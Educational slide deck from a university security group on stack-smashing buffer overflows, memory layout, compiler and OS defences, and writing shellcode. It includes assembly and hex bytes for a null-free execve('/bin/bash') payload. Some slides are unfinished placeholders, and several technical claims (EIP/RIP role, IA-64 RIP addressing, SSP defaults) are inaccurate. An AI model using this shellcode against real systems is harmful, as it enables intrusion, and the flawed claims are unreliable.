

Smashing the Stack

Cesena Security Network and Applications

*University of Bologna, Scuola di Ingegneria ed Architettura
Ingegneria Informatica Scienze e Tecnologie dell'Informazione Ingegneria e Scienze
Informatiche*

December 16, 2012



Outline

- ① Introduction
 - Smash the stack
 - A brief time line
 - Process Memory
 - Stack Frame
- ② Buffer Overflows
- ③ Security
 - Programming Languages
 - StackGuard
 - Stack-Smashing Protector
 - ASLR
 - DEP
- ④ Shellcoding
 - Syscalls
 - Data reference
 - Zero-bytes problem
- ⑤ Exercise
- ⑥ References



Outline

① Introduction

- Smash the stack

- A brief time line

- Process Memory

- Stack Frame

② Buffer Overflows

③ Security

- Programming Languages

- StackGuard

- Stack-Smashing Protector

- ASLR

- DEP

④ Shellcoding

- Syscalls

- Data reference

- Zero-bytes problem

⑤ Exercise

⑥ References



Introduction I

Acknowledgement

A special thanks to **CeSeNA Security** group and *Marco Ramilli* our “old” mentor...



Smash the stack I

smash the stack [C programming] n.

On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared `auto` in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind.



A brief time line I

The first document Overflow Attack (Air Force) - 31/10/1972

"By supplying addresses outside the space allocated to the users programs, it is often possible to get the monitor to obtain unauthorized data for that user, or at the very least, generate a set of conditions in the monitor that causes a system crash."



A brief time line II

The morris Worm - 2/11/1988

Robert Tappan Morris (Jr.) wrote and released this while still a student at Cornell University. Aside from being the first computer worm to be distributed via the Internet, the worm was the public's introduction to "*Buffer Overflow Attacks*", as one of the worms attack vectors was a classic stack smash against the *fingerd* daemon.

In his analysis of the worm, Eugene Spafford writes the following: "The bug exploited to break fingerd involved **overrunning the buffer** the daemon used for input. . . .

The idea of using buffer overflow to inject code into a program and cause it to jump to that code occurred to me while reading *fingerd.c*"



A brief time line III

How to Write Buffer Overflow 20/10/1995

by Peiter Zatko (mudge)

“ ...


The 'Segmentation fault (core dumped)' is what we wanted to see. This tells us there is definitely an attempt to access some memory address that we shouldn't. If you do much in 'C' with pointers on a unix machine you have probably seen this (or Bus error) when pointing or dereferencing incorrectly.

... ”

Smashing The Stack For Fun And Profit 8/11/1996

by Elias Levy (Aleph1)

One of the best article about BoF.



Process Memory I

Buffers, Memory and Process

To understand what stack buffers are we must first understand how a program and process are organized.

- ▶ Program layout is divided in sections like:
 - .text, where program instruction are stored
 - .data, where program data will be stored
 - .bss, where static vars are allocated
 - .stack, where **stack frames** live
- ▶ These sections are typically mapped in memory segments, so they have associated RWX permissions.



Process Memory II

.text

The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a *segmentation violation*.

.data .bss

The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the *brk(2)* system call. If the expansion of the bss-data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space.

New memory is added between the data and stack segments.

Process Memory III

```
/-----\ higher
|          | memory
|   Stack   | addresses
|-----|
| (Uninitialized) |
|   Data     |
| (Initialized)  |
|-----|
|   Text     | lower
|          | memory
\-----/ addresses
```



Stack Frame I

- ▶ The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call.
- ▶ Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. The stack pointer is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack.
- ▶ In addition to the stack pointer, which points to the top of the stack, it is often convenient to have a frame pointer which points to a fixed location within a frame. Some texts also refer to it as a local base pointer.



Stack Frame II

Stack

In x86 architecture stack grows in opposite direction w.r.t. memory addresses. Also two registers are dedicated for stack management.

EBP/RBP , points to the **base** of the stack-frame (*higher address*)

EIP/RIP , points to the **top** of the stack-frame (*lower address*)



Stack Frame III

Stack Frame

Logical stack frames that are pushed when calling a function and popped when returning.

A stack frame contains:

- ▶ Parameters passed to the called function (depends on calling convention, not true for linux64)
- ▶ **Data necessary to recover the previous stack frame, including value of the instruction pointer at the time of the function call.**
- ▶ Local variables



Stack Frame IV

TODO: Stack Frame Picture here



Stack Frame V

Call Prologue and Epilogue

```
;params passing*  
call fun ;it push EIP/RIP  
push EBP  
mov EBP,ESP  
sub ESP,<param-space>
```

```
1 mov ESP,EBP  
2 pop EBP ;restore old  
   EBP/RBP  
3 ret ;pop EIP/RIP
```



Outline

- 1 Introduction
 - Smash the stack
 - A brief time line
 - Process Memory
 - Stack Frame
- 2 Buffer Overflows
- 3 Security
 - Programming Languages
 - StackGuard
 - Stack-Smashing Protector
 - ASLR
 - DEP
- 4 Shellcoding
 - Syscalls
 - Data reference
 - Zero-bytes problem
- 5 Exercise
- 6 References



Buffer Overflows

Bufferoverflow *Stack based / Heap based (just a slide) *EBP+4 (or RBP+8) *Unsafe functions (that ones which permit a buffer overrun) *(quick Example ?)



Outline

- ① Introduction
 - Smash the stack
 - A brief time line
 - Process Memory
 - Stack Frame
- ② Buffer Overflows
- ③ Security
 - Programming Languages
 - StackGuard
 - Stack-Smashing Protector
 - ASLR
 - DEP
- ④ Shellcoding
 - Syscalls
 - Data reference
 - Zero-bytes problem
- ⑤ Exercise
- ⑥ References



Security Against Bofs

How to secure the stack?

- ▶ Various methods and techniques. . .
- ▶ . . . and various consideration.
- ▶ Which programming languages?
- ▶ How to deal with legacy code?
- ▶ Need of automatic protection.



Security: Programming Language

Do programming languages automatically protect stack?

C/C++ these languages don't provide built-in protection, but offer *stack-safe* libraries (e.g. `strcpy()` \Rightarrow `strncpy()`).

Java/.NET/Perl/Python/Ruby/... all these languages provide an automatic array bound check: no need for the programmer to care of it.



- ▶ According to www.tiobe.com C is the most used Programming Language in 2012.
- ▶ **Legacy code still exists: it can't be rewritten!**
- ▶ Operating systems and compiler should offer automatic protections.



Security: StackGuard (1998)

A patch for gcc


- ▶ “A simple compiler technique that virtually eliminates buffer overflow vulnerabilities with only modest performance penalties” [1].
- ▶ It offers a method for detecting in a portable and efficient way changes to the return address.
- ▶ StackGuard uses a random *canary* word inserted before the return address. The callee, before returning, checks if the canary word is unaltered.



Security: GCC Stack-Smashing Protector (2001)

An improved patch for gcc

- ▶ Uses canary word (**guard**) to protect the base pointer.
- ▶ Relocate all arrays to the top of the stack in order to prevent variable corruption (**B** before **C**).
- ▶ Copies arguments into new variables below the arrays, preventing argument corruption (**A** copied into **C**).
- ▶ SSP is used by default since gcc 4.0 (2010).



Security: Address space layout randomization (~ 2002)

A runtime kernel protection

- ▶ Using PIC (position independent code) techniques and kernel aid, it's possible to change at every execution the position of stack, code and library into the addressing space.
- ▶ Linux implements ASLR since 2.6.12. Linux ASLR changes the stack position.
- ▶ Windows has ASLR enabled by default since Windows Vista and Windows Server 2008. Window ASLR changes stack, heap and Process/Thread Environment Block position.



Security: ASLR example

```
# sysctl -w kernel.randomize_va_space=0
# for i in {1..5}; do ./aslr ; done
BP: 0x7fffffffef750
BP: 0x7fffffffef750
BP: 0x7fffffffef750
BP: 0x7fffffffef750
BP: 0x7fffffffef750
# sysctl -w kernel.randomize_va_space=1
# for i in {1..5}; do ./aslr ; done
BP: 0x7fffe03e49d0
BP: 0x7fff01cd44a0
BP: 0x7fff23ac2450
BP: 0x7fffacc72fc0
BP: 0x7fffa20fca50
```



Security: Data Execution Prevention (~ 2004)

Make a virtual page not executable

- ▶ Hardware support using the NX bit (*Never eXecute*) present in modern 64-bit CPUs or 32-bit CPUs with PAE enabled.
- ▶ NX software emulation techniques for older CPUs.
- ▶ First implemented on Linux 2.6.8 and on MS Windows since *XP SP2* and *Server 2003*.
- ▶ Currently implemented by all OS (Linux, Mac OS X, iOS, Microsoft Windows and Android).



Outline

- ① Introduction
 - Smash the stack
 - A brief time line
 - Process Memory
 - Stack Frame
- ② Buffer Overflows
- ③ Security
 - Programming Languages
 - StackGuard
 - Stack-Smashing Protector
 - ASLR
 - DEP
- ④ Shellcoding
 - Syscalls
 - Data reference
 - Zero-bytes problem

⑤ Exercise

⑥ References



Shellcoding

BOF payload

- ▶ A buffer overflow exploitation ends with the execution of an arbitrary payload.
- ▶ The payload is a sequence of machine code instructions.
- ▶ A common way to write shellcode is to use assembly language.
- ▶ Usually, the ultimate goal is to spawn a shell (hence *shellcoding*):

```
execve("/bin/bash", ["/bin/bash", NULL], NULL);
```



Shellcoding: Creation steps

```
execve("/bin/bash", ["/bin/bash", NULL], NULL);
```

Knowledge required:

- 1 Invoking a syscall.
- 2 Refer the string `"/bin/bash"` and the argument array.
- 3 Optimize the payload.



Shellcoding: Syscalls

Invoking a syscall

- ▶ Syscalls are invokable using a numerical id.
- ▶ Ids are defined into *unistd_32.h* for x86 systems and *unistd_64.h* for x86_64 systems.
- ▶ On x86_64 systems the assembler operation *syscall* execute the syscall identified by *rax*.
- ▶ On x86 systems the assembler operation *int 80h* raises a software interrupt, which leads to the execution of the syscall identified by *eax*.

```
1 ; exit(0) syscall
2 mov rdi, 0
3 mov rax, 60
4 syscall
```

```
1 ; exit(0) syscall
2 mov ebx, 0
3 mov eax, 1
4 int 80h
```



Shellcoding: The execve syscall

```
1 unistd_32.h
2 #define __NR_execve 11
3 unistd_64.h
4 #define __NR_execve 59
5 syscall.h
6 int kernel_execve( const char *filename ,
7                   const char *const argv[] ,
8                   const char *const envp[] );
```

man 2 execve

- ▶ `execve()` executes the program pointed to by `filename`.
- ▶ `argv` is an array of argument strings passed to the new program. By convention, the first of these strings should contain the filename.
- ▶ `envp` is an array of strings, conventionally of the form *key=value*.
- ▶ Both `argv` and `envp` **must** be terminated by a NULL pointer.
- ▶ On Linux, `argv` [or `envp`] can be specified as NULL, which has the same effect as specifying this argument as a pointer to a list containing a single NULL pointer.



Shellcoding: Syscall and parameter passing

How to pass parameters?

- ▶ Use the calling convention for syscalls!

x86_64 rdi, rsi, rdx, r10, r8 and r9.

x86 ebx, ecx, edx, esi, edi and ebp.

- ▶ Other parameters go into the stack.

- ▶ `execve` parameters:

x86_64 `rdi` \Rightarrow `"/bin/bash"`, `rsi` \Rightarrow
`[" /bin/bash", NULL]`, `rdx` \Rightarrow `NULL`

x86 `ebx` \Rightarrow `"/bin/bash"`, `ecx` \Rightarrow
`[" /bin/bash", NULL]`, `edx` \Rightarrow `NULL`



Shellcoding: Data reference I

The reference problem

- ▶ The shellcode must know the reference of `"/bin/bash"`, `argv` and `env`.
- ▶ The shellcode is not compiled with the program it's intended to run: it must be designed as a *Position Independent Code*, i.e. the shellcode can't use absolute reference.
- ▶ Therefore you must use relative addressing, but before IA-64 it was not possible.

```
filename db '/bin/bash',0  
; What will be the address of filename in any program?  
mov rdi, ?
```



Shellcoding: Data reference II

Old IA-32 way

- ▶ You use a trick: `jmp` just before the data location, then do a `call`.
- ▶ The `call` instruction pushes the next instruction pointer onto the stack, which is equal to the `"/bin/bash"` address.

```
jmp filename
run:
    pop ebx ; ebx now contains "/bin/bash" reference
    ; ...
filename:
    call run
    db '/bin/bash',0
```



Shellcoding: Data reference III

New IA-64 way

- ▶ IA-64 introduces the RIP relative addressing.
- ▶ *[rel filename]* becomes *[rip + offset]*

```
lea rdi, [rel message] ; now rdi contains  
                        ; the string reference  
; ...  
  
filename db '/bin/bash',0
```



Shellcoding: Data reference IV

Generic Way

- ▶ You can push the string in hex format into the stack.
- ▶ The stack pointer is then the string reference.

```
push 0x00000068 ; 0x00, 'h'
push 0x7361622f ; 'sab/'
push 0x6e69622f ; 'nib/'
mov ebx, esp ; now ebx contains the string reference
; ...
```



Shellcode: first attempt I

bits 64

```
lea rdi, [rel filename] ; filename
```

```
lea rsi, [rel args] ; argv
```

```
mov rdx, 0 ; envp
```

```
mov [rel args], rdi ; argv[0] <- filename
```

```
mov [rel args+8], rdx ; argv[1] <- null
```

```
mov rax, 59
```

```
syscall
```

```
filename db '/bin/bash',0
```

```
args db 16
```



Shellcode: first attempt II

```
\x48\x8d\x3d\x21\x00\x00\x00\x48\x8d\x35\x24\x00\x00  
\x00\xba\x00\x00\x00\x00\x48\x89\x3d\x18\x00\x00\x00  
\x48\x89\x15\x19\x00\x00\x00\xb8\x3b\x00\x00\x00\x0f  
\x05\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x00\x01\x00  
\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00
```

- ▶ **Warning: zero-byte presence!**
- ▶ Often shellcode payload are read as string.
- ▶ C strings are null-terminated array of chars.
- ▶ The vulnerable program will process only the first five bytes!



Shellcode: Zero-bytes problem

Zero-bytes presence is caused by data and addresses

- ▶ *mov rax, 11h* is equivalent to *mov rax, 0000000000000011h*.
- ▶ *lea rax, [rel message]* is equivalent to *lea rax, [rip + 0000...xxh]*.
- ▶ *execve*, for instance, requires a null terminated string and some null parameters.

Solutions

- ▶ Use *xor* operation to zero a register.
- ▶ Use smaller registers (e.g.: *rax* → *eax* → *ax* → *[ah,al]*)
- ▶ Use *add* operation: immediate operator is not expanded.
- ▶ Place non-null marker and substitute them inside the code.
- ▶ Make a relative reference offset negative.

Shellcode: second attempt I

```
bits 64
jmp code
filename db '/bin/bash', 'n' ; 'n' is the marker
args db 16
code:
    lea rdi, [rel filename] ; negative offset
    lea rsi, [rel args] ; negative offset
    xor rdx, rdx ; zeros rdx
    mov [rel filename+10], dl ; zeros the marker
    mov [rel args], rdi
    mov [rel args+8], rdx
    xor rax, rax ; zeros rax
    mov al, 59 ; uses smaller register
    syscall
```



Shellcode: second attempt II

```
\xeb\x0b\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x6e  
\x10\x48\x8d\x3d\xee\xff\xff\xff\x48\x8d\x35\xf1  
\xff\xff\xff\x48\x31\xd2\x88\x15\xe8\xff\xff\xff  
\x48\x89\x3d\xe1\xff\xff\xff\x48\x89\x15\xe2\xff  
\xff\xff\x48\x31\xc0\xb0\x3b\x0f\x05
```

- Zero-bytes eliminated.



Outline

- ① Introduction
 - Smash the stack
 - A brief time line
 - Process Memory
 - Stack Frame
- ② Buffer Overflows
- ③ Security
 - Programming Languages
 - StackGuard
 - Stack-Smashing Protector
 - ASLR
 - DEP
- ④ Shellcoding
 - Syscalls
 - Data reference
 - Zero-bytes problem
- ⑤ Exercise
- ⑥ References



Exercise



Outline

- ① Introduction
 - Smash the stack
 - A brief time line
 - Process Memory
 - Stack Frame
- ② Buffer Overflows
- ③ Security
 - Programming Languages
 - StackGuard
 - Stack-Smashing Protector
 - ASLR
 - DEP
- ④ Shellcoding
 - Syscalls
 - Data reference
 - Zero-bytes problem
- ⑤ Exercise
- ⑥ References



References I



Crispan Cowan, Calton Pu, Dave Maier, Jonathan Walpole, Peat Bakke, Steve Beattie, Aaron Grier, Perry Wagle, and Qian Zhang. Stackguard: Automatic adaptive detection and prevention of buffer-overflow attacks.

In *USENIX Security Symposium*, volume 7th, January 1998.



Linux Foundation.

Linux documentation.

<http://linux.die.net/>.



Intel.

Intel[®] 64 and IA-32 Architectures Software Developer's Manuale Combined Volumes:1, 2A, 2B, 3C, 3A, 3B and 3C.

Intel, August 2012.



References II



IBM Research.

Gcc extension for protecting applications from stack-smashing attacks.

<http://www.research.ibm.com/trl/projects/security/ssp/>, 2005.



G. Adam Stanislav.

<http://www.int80h.org/>.

